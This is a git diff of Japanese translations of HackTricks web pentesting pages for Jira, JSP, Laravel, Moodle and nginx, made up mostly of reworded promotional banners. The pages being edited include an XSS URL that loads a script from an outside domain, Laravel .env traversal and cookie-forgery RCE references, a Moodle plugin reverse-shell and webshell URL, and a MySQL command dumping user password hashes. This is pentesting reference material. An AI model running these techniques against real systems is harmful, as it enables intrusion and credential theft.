-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %}
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ +**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index e0f9232f2..40a8517c2 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -4,27 +4,27 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する -
+
-**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味がある方や **解読不能なものをハック** したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} ### 権限の確認 -Jiraでは、認証されたユーザーであっても、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を介して**権限を確認**できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持っている**場合、**セキュリティの脆弱性**が示され、**バウンティの対象**となる可能性があります。同様に、認証されたユーザーに**予期しない権限がある**場合も、**脆弱性**が強調されます。 +Jira では、認証されたユーザーであっても、エンドポイント `/rest/api/2/mypermissions` または `/rest/api/3/mypermissions` を通じて **権限を確認** することができます。これらのエンドポイントはユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持っている** 場合、**セキュリティ脆弱性** が示され、**バウンティの対象** になる可能性があります。同様に、認証されたユーザーに **予期しない権限がある** 場合も **脆弱性** が強調されます。 -2019年2月1日に重要な**更新**が行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含める必要がありました。この要件は、クエリされている権限を特定することで、セキュリティを**強化**することを目的としています:[こちらをチェックしてください](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +2019年2月1日に重要な **更新** が行われ、'mypermissions' エンドポイントに **'permission' パラメーター** を含める必要がありました。この要件は、クエリされている権限を指定することで、セキュリティを向上させることを目的としています: [こちらをチェックしてください](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) * ADD\_COMMENTS * ADMINISTER @@ -68,7 +68,7 @@ Jiraでは、認証されたユーザーであっても、エンドポイント` * VIEW\_VOTERS\_AND\_WATCHERS * WORK\_ON\_ISSUES -例:`https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS` +例: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS` ```bash #Check non-authenticated privileges curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true' @@ -78,22 +78,22 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan) -
+
-**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 +興味がある場合は、**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %}
-htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキングを学ぶ** +htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/network-services-pentesting/pentesting-web/jsp.md b/network-services-pentesting/pentesting-web/jsp.md index 8f7695444..1343d28e1 100644 --- a/network-services-pentesting/pentesting-web/jsp.md +++ b/network-services-pentesting/pentesting-web/jsp.md @@ -1,41 +1,39 @@ +# JSP +
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
- -# **getContextPath**の悪用 +## **getContextPath**の乱用 [こちら](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html)からの情報。 ``` http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp ``` -```markdown -Accessing that web you may change all the links to request the information to _**rakeshmane.com**_: - -![](<../../.gitbook/assets/image (260).png>) +アクセスすると、すべてのリンクを情報をリクエストするために _**rakeshmane.com**_ に変更できます: +![](<../../.gitbook/assets/image (326).png>)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +HackTricks をサポートする他の方法: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* 💬 [**Discord グループに参加**](https://discord.gg/hRep4RUj7f) または [**telegram グループに参加**](https://t.me/peass) または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有する
-``` diff --git a/network-services-pentesting/pentesting-web/laravel.md b/network-services-pentesting/pentesting-web/laravel.md index b1a9c453b..7fcc7ce24 100644 --- a/network-services-pentesting/pentesting-web/laravel.md +++ b/network-services-pentesting/pentesting-web/laravel.md @@ -2,32 +2,32 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に従ってください。**
-## Laravelのトリック +## Laravel Tricks ### デバッグモード -Laravelが**デバッグモード**にある場合、**コード**や**機密データ**にアクセスできます。\ +Laravelが**デバッグモード**にある場合、**コード**と**機密データ**にアクセスできます。\ たとえば `http://127.0.0.1:8000/profiles`: -![](<../../.gitbook/assets/image (610).png>) +![](<../../.gitbook/assets/image (1046).png>) これは通常、他のLaravel RCE CVEを悪用するために必要です。 ### .env -Laravelは、クッキーや他の資格情報を暗号化するために使用するAPPを保存するファイル`.env`にアクセスできるように、いくつかのパストラバーサルを使用しています:`/../.env` +Laravelは、クッキーを暗号化するために使用するAPPを保存し、その他の資格情報を`.env`というファイルに保存します。これは`/../.env`の下にあるパストラバーサルを使用してアクセスできます。 -Laravelは、この情報をデバッグページ(Laravelがエラーを見つけてアクティブ化されたときに表示される)でも表示します。 +Laravelは、デバッグページ(Laravelがエラーを見つけてアクティブ化された場合に表示される)でもこの情報を表示します。 Laravelの秘密のAPP\_KEYを使用して、クッキーを復号化および再暗号化できます: @@ -94,10 +94,10 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 脆弱なバージョン: 5.5.40および5.6.xから5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -こちらで、この逆シリアル化の脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +こちらでこの逆シリアル化の脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用することができます\ -または、metasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec` +またはmetasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -105,16 +105,16 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ### Laravel SQLInjection -こちらでこの問題に関する情報を読むことができます: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +こちらでこのに関する情報を読むことができます: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
-htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます -* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れます -* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 +* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/network-services-pentesting/pentesting-web/moodle.md b/network-services-pentesting/pentesting-web/moodle.md index ed9960950..a2ff3ebb3 100644 --- a/network-services-pentesting/pentesting-web/moodle.md +++ b/network-services-pentesting/pentesting-web/moodle.md @@ -2,21 +2,21 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **ハッキングテクニックを共有する** には、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
-**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォームであるIntigritiにサインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! +**バグバウンティのヒント**: **Intigriti にサインアップ**してください、これはハッカーによって作成されたプレミアム **バグバウンティプラットフォーム**です!今すぐ [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得し始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -45,7 +45,7 @@ Admin panel - http://moodle.schooled.htb/moodle/login/ ``` ### moodlescan -### moodlescan +moodlescan is a tool used to enumerate and fingerprint Moodle installations. It can help identify vulnerabilities and misconfigurations in Moodle instances. ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// @@ -77,24 +77,22 @@ Scan completed. ``` ### CMSMap -### CMSMap - -CMSMap is a Python open-source Content Management System (CMS) scanner that automates the process of detecting security flaws in CMS platforms. It can be used to perform reconnaissance and enumeration of CMS installations during penetration testing. +CMSMapは、CMS(コンテンツ管理システム)を対象とした自動化されたツールで、WebサイトやWebアプリケーションの脆弱性を特定するために使用されます。 ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs -自動ツールは、Moodleバージョンに影響を与える脆弱性を見つけるのにかなり**役に立たない**ことがわかりました。これらの脆弱性を[ここ](https://snyk.io/vuln/composer:moodle%2Fmoodle)で**確認**できます。 +自動ツールは、Moodleバージョンに影響を与える脆弱性を見つけるのにかなり**役に立たない**ことがわかりました。これらの脆弱性については、[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) で**確認**できます。 ## **RCE** -**マネージャー**権限が必要で、**"サイト管理"**タブ内で**プラグインをインストール**できます\*\*:\*\* +**マネージャー**の役割が必要で、**"サイト管理"**タブ内で**プラグインをインストール**できます\*\*:\*\* -![](<../../.gitbook/assets/image (447).png>) +![](<../../.gitbook/assets/image (630).png>) -マネージャーであっても、**このオプションを有効にする必要がある**場合があります。Moodle特権昇格PoCで方法を確認できます: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 +マネージャーであっても、このオプションを**有効にする必要がある**場合があります。Moodle特権昇格PoCで方法を確認できます: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 その後、次のプラグインを**インストール**できます。このプラグインにはクラシックなpentest-monkey php r**ev shell**が含まれています(アップロードする前に解凍し、revshellのIPとポートを変更してから再度圧縮する必要があります) @@ -102,7 +100,7 @@ cmsmap http://moodle.example.com/ または、[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)からプラグインを使用して、"cmd"パラメーターで通常のPHPシェルを取得できます。 -悪意のあるプラグインにアクセスするには、次のURLにアクセスする必要があります: +悪意のあるプラグインを起動するには、次にアクセスする必要があります: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` @@ -112,24 +110,26 @@ http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` -### データベースから資格情報をダンプする +### データベースから資格情報をダンプ ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ```
-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーたちによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! +**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーたちによって作成されたプレミアムな**バグバウンティプラットフォーム**![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %}
-htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキングを学びましょう**! +htARTE (HackTricks AWS Red Team Expert) で**ゼロからヒーローまでのAWSハッキングを学びましょう**! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**Telegramグループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を**フォロー**する +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する + +
diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md index 3fb1e5902..6b6411a69 100644 --- a/network-services-pentesting/pentesting-web/nginx.md +++ b/network-services-pentesting/pentesting-web/nginx.md @@ -2,27 +2,27 @@
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに。** +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
-
+
